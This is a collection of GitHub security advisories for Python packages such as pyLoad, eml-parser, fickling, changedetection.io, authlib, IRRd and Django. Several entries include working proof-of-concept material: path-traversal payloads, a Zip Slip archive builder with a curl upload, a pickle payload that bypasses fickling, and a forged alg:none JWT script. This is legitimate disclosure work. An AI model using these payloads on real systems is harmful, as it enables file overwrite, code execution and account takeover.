deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-6px9-j4qr-xfjw
Package: pyload-ng (PIP)
Severity: HIGH (CVSS 7.1)
CWE: CWE-23: Relative Path Traversal
Vulnerable versions: >= 0.5.0b3.dev13, <= 0.5.0b3.dev96
Patched in: unpatched

Summary: pyLoad has an Arbitrary File Write via Path Traversal in edit_package()

Details:
The edit_package() function implements insufficient sanitization for the pack_folder parameter. The current protection relies on a single-pass string replacement of "../", which can be bypassed using crafted recursive traversal sequences.

Exploitation

An authenticated user with MODIFY permission can bypass the sanitization by submitting a payload such as:
`pack_folder=..././..././..././tmp`

After the single-pass replacement, this becomes:
`../../../tmp`

Because the traversal sequences are not properly validated, the resulting normalized path escapes the intended storage directory and writes files to /tmp or other locations.
GitHub Security Advisory: GHSA-389r-rccm-h3h5
Package: eml-parser (PIP)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 2.0.1
Patched in: 2.0.1

Summary: eml_parser: Path Traversal in Official Example Script Leads to Arbitrary File Write

Details:
### Summary
The official example script `examples/recursively_extract_attachments.py` contains a path traversal vulnerability that allows arbitrary file write outside the intended output directory. Attachment filenames extracted from parsed emails are directly used to construct output file paths without any sanitization, allowing an attacker-controlled filename to escape the target directory.

### Details
File: `examples/recursively_extract_attachments.py`
Lines: 61–64
```python
for a in m['attachment']:
    out_filepath = out_path / a['filename']  # No sanitization
    print(f'\tWriting attachment: {out_filepath}')
    with out_filepath.open('wb') as a_out:
        a_out.write(base64.b64decode(a['raw']))
```

The value `a['filename']` is attacker-controlled via crafted email attachment headers:
```
Content-Disposition: attachment; filename="../outside/pwned.txt"
```

No path normalization or boundary validation is performed before writing.

### PoC
1. Create a malicious `.eml` file:
```
Content-Disposition: attachment; filename="../outside/pwned.txt"
```
2. Run the example script:
```
python recursively_extract_attachments.py -p ./emails -o ./safe
```
3. Expected: `./safe/pwned.txt`  
4. Actual: `./outside/pwned.txt` ← written outside the intended directory

Verified on Kali Linux with eml_parser installed via pip in a virtual environment.

### Impact
This vulnerability is limited to the **example script only** and does not affect the core eml_parser library. However, as the script is part of the official repository and is likely to be adapted for production use, an attacker supplying a crafted email could achieve arbitrary file write within the execution context.

Potential attack scenarios include:
- Cron job injection: `filename="../../etc/cron.d/backdoor"`
- Web shell upload: `filename="../../var/www/html/shell.php"`
- SSH key injection: `filename="../../home/user/.ssh/authorized_keys"`

### Recommended Fix
```python
import os.path

for a in m['attachment']:
    filename = os.path.basename(a['filename'])
    out_filepath = out_path / filename

    if not out_filepath.resolve().is_relative_to(out_path.resolve()):
        print(f'[!] Skipping suspicious filename: {a["filename"]}')
        continue

    print(f'\tWriting attachment: {out_filepath}')
    with out_filepath.open('wb') as a_out:
        a_out.write(base64.b64decode(a['raw']))
```
GitHub Security Advisory: GHSA-wccx-j62j-r448
Package: fickling (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 0.1.8
Patched in: 0.1.9

Summary: Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked

Details:
# Assessment

The missing pickle entrypoints `pickle.loads`, `_pickle.loads`, and `_pickle.load` were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.

# Original report

## Summary
`fickling.always_check_safety()` does not hook all pickle entry points. `pickle.loads`, `_pickle.loads`, and `_pickle.load` remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

## Affected versions
`<= 0.1.8` (verified on current upstream HEAD as of 2026-03-03)

## Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in `run_hook()`.
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

## Root cause
`run_hook()` patches only:
- `pickle.load`
- `pickle.Unpickler`
- `_pickle.Unpickler`

It does not patch:
- `pickle.loads`
- `_pickle.load`
- `_pickle.loads`

## Reproduction (clean upstream)
```python
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError

class Payload:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (['echo','BYPASS'],))

data = pickle.dumps(Payload())
fickling.always_check_safety()

# Bypass path
with patch('subprocess.Popen') as popen_mock:
    pickle.loads(data)
    print('bypass sink called?', popen_mock.called)  # True

# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
    try:
        pickle.load(io.BytesIO(data))
    except UnsafeFileError:
        pass
    print('blocked sink called?', popen_mock.called)  # False
```

Observed on vulnerable code:
- `pickle.loads` executes payload
- `pickle.load` is blocked

## Minimal patch diff
```diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
 def run_hook():
-    pickle.load = loader.load
+    pickle.load = loader.load
+    _pickle.load = loader.load
+    pickle.loads = loader.loads
+    _pickle.loads = loader.loads
```

## Validation after patch
- `pickle.loads`, `_pickle.loads`, and `_pickle.load` all raise `UnsafeFileError`
- sink not called in any path

Regression tests added locally:
- `test_run_hook_blocks_pickle_loads`
- `test_run_hook_blocks__pickle_load_and_loads`
  in `test/test_security_regressions_20260303.py`

## Impact
High-confidence runtime protection bypass for applications that trust `always_check_safety()` as global guard.
GitHub Security Advisory: GHSA-25g8-2mcf-fcx9
Package: changedetection.io (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.54.3
Patched in: 0.54.4

Summary: changedetection.io has Zip Slip vulnerability in the backup restore functionality

Details:
### Summary
A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

### Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):
```
def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)
```
The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

| Path in ZIP | Target File | Impact |
| --- | --- | --- |
| ../secret.txt | Flask secret key | Session forgery, auth bypass |
| ../changedetection.json | App settings | Disable password, inject backdoor |
| ../url-watches.json | Watch index | Inject malicious watches |
| ../{uuid}/watch.json | Watch config | Modify any watch |

Attacker uploads ZIP via the backup restore functionality at /backups/restore
Application extracts files without validation, writing attacker content to sensitive locations


### PoC

Step 1: Create Malicious ZIP
```
import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))
```
Step 2: Upload via Restore Endpoint

```curl -X POST "http://target:5000/backups/restore/start" \
  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y" 
  ```

###Step 3: Verify Path Traversal
### Check if watch escaped to /datastore/
###ls -la /datastore/
### Look for: pwned-uuid-1234/

### Verify in UI
```curl "http://target:5000/" | grep "ZIPSLIP"```


<img width="1920" height="1080" alt="f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM" src="https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38" />
GitHub Security Advisory: GHSA-4gc2-344q-r2rw
Package: ms-agent (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 1.6.0rc1
Patched in: unpatched

Summary: MS-Agent vulnerable to Command Injection

Details:
A Command Injection vulnerability in ModelScope's MS-Agent versions v1.6.0rc1 and earlier exists, allowing an attacker to execute arbitrary operating system commands through crafted prompt-derived input.
GitHub Security Advisory: GHSA-7wc2-qxgw-g8gg
Package: authlib (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-347: Improper Verification of Cryptographic Signature
Vulnerable versions: >= 1.6.5, <= 1.6.6
Patched in: 1.6.7

Summary: Authlib: Setting `alg: none` and a blank signature appears to bypass signature verification

Details:
### Summary
After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. 

### Details
It was likely introduced in this commit:
https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

### PoC
```
from authlib.jose import jwt, JsonWebKey
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import json
import base64


def create_jwks():
    private_key = rsa.generate_private_key(
        public_exponent=65537, key_size=2048, backend=default_backend()
    )
    public_pem = private_key.public_key().public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo,
    )
    jwk = JsonWebKey.import_key(public_pem).as_dict()
    jwk["kid"] = "test-key-001"
    jwk["use"] = "sig"
    jwk["alg"] = "RS256"
    jwks = {"keys": [jwk]}
    return jwks


def create_forged_token_with_alg_none():
    forged_header = {"alg": "none"}
    forged_payload = {
        "sub": "user123",
        "role": "admin",
        "iat":[PII_REDACTED],
    }

    header_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_header).encode("utf-8")
    ).rstrip(b"=")

    payload_b64 = base64.urlsafe_b64encode(
        json.dumps(forged_payload).encode("utf-8")
    ).rstrip(b"=")

    forged_token = header_b64 + b"." + payload_b64 + b"."
    return forged_token


jwks = create_jwks()
forged_token = create_forged_token_with_alg_none()
try:
    claims = jwt.decode(forged_token, jwks)
    print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}")
except Exception as e:
    print(f"SECURE: Token rejected - {type(e).__name__}")
```

Output:
```
pip install -q authlib==1.5.2
python3 authlib_alg_none_vulnerability.py 
SECURE: Token rejected - BadSignatureError
pip install -q authlib==1.6.5
python3 authlib_alg_none_vulnerability.py 
VULNERABLE: Forged token (alg:none) accepted: role=admin
```

### Impact
Users of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.

Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to:
- Authentication bypass
- Privilege escalation
- Unauthorized access
- Modification of application data
GitHub Security Advisory: GHSA-22m3-c7vp-49fj
Package: irrd (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Vulnerable versions: >= 4.5.0, < 4.5.1
Patched in: 4.5.1

Summary: IRRd: web UI host header injection allows password reset poisoning via attacker-controlled email links

Details:
## Impact

An attacker can manipulate the HTTP `Host` header on a password reset or account creation request. The confirmation link in the resulting email can then point to an attacker-controlled domain. Opening the link in the email is sufficient to pass the token to the attacker, who can then use it on the real IRRD instance to take over the account. A compromised account can then be used to modify RPSL objects maintained by the account's mntners and perform other account actions.

If the user had two-factor authentication configured, which is required for users with override access, an attacker is not able to log in, even after successfully resetting the password.

This issue affects IRRD 4.5.0 and all 4.4.x versions prior to 4.4.5. IRRD 4.3 and earlier are not affected, as they did not include the web UI.

## Cause

Email links in account creation, password reset, and mntner migration emails were generated from the HTTP request context, allowing an attacker to manipulate the HTTP `Host` header to redirect these links to an attacker-controlled domain (password reset poisoning).

## Resolution

Requests with a `Host` header that does not match `server.http.url` are now rejected, preventing Host header injection attacks against the web UI.

All existing password reset tokens are invalidated by this upgrade, rendering any tokens that may have been captured by an attacker unusable.

Patched versions: 4.4.5 and 4.5.1.

## Workarounds

Configuring a reverse proxy (such as nginx) to reject requests where the `Host` header does not match the expected hostname is an effective workaround. Enabling two-factor authentication is strongly recommended for all users, as it prevents account takeover even if a password reset token is compromised.

## Detecting exploitation

Because the victim never interacts with the real IRRD instance in this attack, it is difficult to detect exploitation from logs alone.

Indicators that an account was targeted or compromised:

- A `password reset email requested` followed by `password (re)set successfully` where the delay is longer than expected. Legitimate users actively waiting for a reset email tend to complete it quickly; victims who receive an unexpected email are less likely to click it immediately, resulting in a longer delay.
- Users receiving a password reset mail without requesting one.
- If a successfully attacked user later attempts to log in with their original password, this appears in the logs as `user failed login due to invalid account or password`.

After upgrading to a patched release, all existing password reset tokens are invalidated. Users who can still log in with their password after the upgrade can be certain their account has not been taken over.
GitHub Security Advisory: GHSA-22m3-c7vp-49fj
Package: irrd (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Vulnerable versions: >= 4.4.0, < 4.4.5
Patched in: 4.4.5

Summary: IRRd: web UI host header injection allows password reset poisoning via attacker-controlled email links

Details:
## Impact

An attacker can manipulate the HTTP `Host` header on a password reset or account creation request. The confirmation link in the resulting email can then point to an attacker-controlled domain. Opening the link in the email is sufficient to pass the token to the attacker, who can then use it on the real IRRD instance to take over the account. A compromised account can then be used to modify RPSL objects maintained by the account's mntners and perform other account actions.

If the user had two-factor authentication configured, which is required for users with override access, an attacker is not able to log in, even after successfully resetting the password.

This issue affects IRRD 4.5.0 and all 4.4.x versions prior to 4.4.5. IRRD 4.3 and earlier are not affected, as they did not include the web UI.

## Cause

Email links in account creation, password reset, and mntner migration emails were generated from the HTTP request context, allowing an attacker to manipulate the HTTP `Host` header to redirect these links to an attacker-controlled domain (password reset poisoning).

## Resolution

Requests with a `Host` header that does not match `server.http.url` are now rejected, preventing Host header injection attacks against the web UI.

All existing password reset tokens are invalidated by this upgrade, rendering any tokens that may have been captured by an attacker unusable.

Patched versions: 4.4.5 and 4.5.1.

## Workarounds

Configuring a reverse proxy (such as nginx) to reject requests where the `Host` header does not match the expected hostname is an effective workaround. Enabling two-factor authentication is strongly recommended for all users, as it prevents account takeover even if a password reset token is compromised.

## Detecting exploitation

Because the victim never interacts with the real IRRD instance in this attack, it is difficult to detect exploitation from logs alone.

Indicators that an account was targeted or compromised:

- A `password reset email requested` followed by `password (re)set successfully` where the delay is longer than expected. Legitimate users actively waiting for a reset email tend to complete it quickly; victims who receive an unexpected email are less likely to click it immediately, resulting in a longer delay.
- Users receiving a password reset mail without requesting one.
- If a successfully attacked user later attempts to log in with their original password, this appears in the logs as `user failed login due to invalid account or password`.

After upgrading to a patched release, all existing password reset tokens are invalidated. Users who can still log in with their password after the upgrade can be certain their account has not been taken over.
GitHub Security Advisory: GHSA-rpqr-j937-6qr9
Package: openviking (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.2.1
Patched in: unpatched

Summary: OpenViking contains a Path Traversal vulnerability

Details:
OpenViking versions 0.2.1 and prior, fixed in commit 46b3e76, contain a path traversal vulnerability in the .ovpack import handling that allows attackers to write files outside the intended import directory. Attackers can craft malicious ZIP archives with traversal sequences, absolute paths, or drive prefixes in member names to overwrite or create arbitrary files with the importing process privileges.
GitHub Security Advisory: GHSA-mjgh-79qc-68w3
Package: Django (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: >= 4.2, < 4.2.29
Patched in: 4.2.29

Summary: Django has a Race Condition vulnerability

Details:
An issue was discovered in 6.0 before 6.0.3, 5.2 before 5.2.12, and 4.2 before 4.2.29.

Race condition in file-system storage and file-based cache backends in Django allows an attacker to cause file system objects to be created with incorrect permissions via concurrent requests, where one thread's temporary `umask` change affects other threads in multi-threaded environments.

Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Tarek Nakkouch for reporting this issue.
GitHub Security Advisory: GHSA-mjgh-79qc-68w3
Package: Django (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: >= 5.2, < 5.2.12
Patched in: 5.2.12

Summary: Django has a Race Condition vulnerability

Details:
An issue was discovered in 6.0 before 6.0.3, 5.2 before 5.2.12, and 4.2 before 4.2.29.

Race condition in file-system storage and file-based cache backends in Django allows an attacker to cause file system objects to be created with incorrect permissions via concurrent requests, where one thread's temporary `umask` change affects other threads in multi-threaded environments.

Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Tarek Nakkouch for reporting this issue.
GitHub Security Advisory: GHSA-mjgh-79qc-68w3
Package: Django (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: >= 6.0, < 6.0.3
Patched in: 6.0.3

Summary: Django has a Race Condition vulnerability

Details:
An issue was discovered in 6.0 before 6.0.3, 5.2 before 5.2.12, and 4.2 before 4.2.29.

Race condition in file-system storage and file-based cache backends in Django allows an attacker to cause file system objects to be created with incorrect permissions via concurrent requests, where one thread's temporary `umask` change affects other threads in multi-threaded environments.

Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Tarek Nakkouch for reporting this issue.
GitHub Security Advisory: GHSA-8p8v-wh79-9r56
Package: Django (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 4.2, < 4.2.29
Patched in: 4.2.29

Summary: Django vulnerable to Uncontrolled Resource Consumption

Details:
An issue was discovered in 6.0 before 6.0.3, 5.2 before 5.2.12, and 4.2 before 4.2.29.

`URLField.to_python()` in Django calls `urllib.parse.urlsplit()`, which performs NFKC normalization on Windows that is disproportionately slow for certain Unicode characters, allowing a remote attacker to cause denial of service via large URL inputs containing these characters.

Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
GitHub Security Advisory: GHSA-8p8v-wh79-9r56
Package: Django (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 5.2, < 5.2.12
Patched in: 5.2.12

Summary: Django vulnerable to Uncontrolled Resource Consumption

Details:
An issue was discovered in 6.0 before 6.0.3, 5.2 before 5.2.12, and 4.2 before 4.2.29.

`URLField.to_python()` in Django calls `urllib.parse.urlsplit()`, which performs NFKC normalization on Windows that is disproportionately slow for certain Unicode characters, allowing a remote attacker to cause denial of service via large URL inputs containing these characters.

Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.